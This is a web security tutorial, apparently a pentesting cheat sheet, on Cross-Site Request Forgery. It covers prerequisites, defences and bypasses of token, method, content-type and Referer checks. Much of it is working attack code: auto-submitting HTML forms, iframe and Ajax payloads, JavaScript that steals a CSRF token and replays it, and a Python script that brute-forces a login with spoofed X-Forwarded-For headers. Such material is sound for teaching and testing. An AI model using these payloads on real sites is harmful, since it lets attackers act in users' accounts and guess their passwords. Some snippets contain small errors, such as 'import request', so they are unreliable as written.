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Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) is a type of security vulnerability found in web applications. It enables attackers to perform actions on behalf of unsuspecting users by exploiting their authenticated sessions. The attack is executed when a user, who is logged into a victim's platform, visits a malicious site. This site then triggers requests to the victim's account through methods like executing JavaScript, submitting forms, or fetching images.
Prerequisites for a CSRF Attack
To exploit a CSRF vulnerability, several conditions must be met:
Identify a Valuable Action: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges.
Session Management: The user's session should be managed solely through cookies or the HTTP Basic Authentication header, as other headers cannot be manipulated for this purpose.
Absence of Unpredictable Parameters: The request should not contain unpredictable parameters, as they can prevent the attack.
Quick Check
You could capture the request in Burp and check CSRF protections and to test from the bowser you can click on Copy as fetch and check the request:
Defending Against CSRF
Several countermeasures can be implemented to protect against CSRF attacks:
Cross-origin resource sharing: The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. Learn about CORS bypass.
User Verification: Prompting for the user's password or solving a captcha can confirm the user's intent.
Checking Referrer or Origin Headers: Validating these headers can help ensure requests are coming from trusted sources. However, careful crafting of URLs can bypass poorly implemented checks, such as:
Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
Using http://example.com.mal.net (URL starts with the trusted URL)
Modifying Parameter Names: Altering the names of parameters in POST or GET requests can help in preventing automated attacks.
CSRF Tokens: Incorporating a unique CSRF token in each session and requiring this token in subsequent requests can significantly mitigate the risk of CSRF. The effectiveness of the token can be enhanced by enforcing CORS.
Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.
Defences Bypass
From POST to GET
Maybe the form you want to abuse is prepared to send a POST request with a CSRF token but, you should check if a GET is also valid and if when you send a GET request the CSRF token is still being validated.
Lack of token
Applications might implement a mechanism to validate tokens when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
CSRF token is not tied to the user session
Applications not tying CSRF tokens to user sessions present a significant security risk. These systems verify tokens against a global pool rather than ensuring each token is bound to the initiating session.
Here's how attackers exploit this:
Authenticate using their own account.
Obtain a valid CSRF token from the global pool.
Use this token in a CSRF attack against a victim.
This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's inadequate token validation mechanism.
Method bypass
If the request is using a "weird" method, check if the methodoverride functionality is working. For example, if it's using a PUT method you can try to use a POST method and send: https://example.com/my/dear/api/val/num?_method=PUT
This could also works sending the _method parameter inside the a POST request or using the headers:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Custom header token bypass
If the request is adding a custom header with a token to the request as CSRF protection method, then:
Test the request without the Customized Token and also header.
Test the request with exact same length but different token.
CSRF token is verified by a cookie
Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie.
However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.
Below is an example of how an attack could be structured:
Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself.
Content-Type change
According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:
application/x-www-form-urlencoded
multipart/form-data
text/plain
However, note that the severs logic may vary depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.
Example (from here) of sending JSON data as text/plain:
When attempting to send JSON data via a POST request, using the Content-Type: application/json in an HTML form is not directly possible. Similarly, utilizing XMLHttpRequest to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:
Use Alternative Content Types: Employ Content-Type: text/plain or Content-Type: application/x-www-form-urlencoded by setting enctype="text/plain" in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.
Modify Content Type: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with Content-Type: text/plain; application/json. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept application/json.
SWF Flash File Utilization: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to this post.
Referrer / Origin check bypass
Avoid Referrer header
Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
<meta name="referrer" content="never">
This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications.
To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
HEAD method bypass
The first part of this CTF writeup is explained that Oak's source code, a router is set to handle HEAD requests as GET requests with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply given to the GET handler but the app just removes the response body.
Therefore, if a GET request is being limited, you could just send a HEAD request that will be processed as a GET request.
Exploit Examples
Exfiltrating CSRF Token
GET using HTML tags
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Other HTML5 tags that can be used to automatically send a GET request are:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Form POST request through iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Ajax POST request
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Steal CSRF Token and send a Post request using an iframe, a form and Ajax
The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
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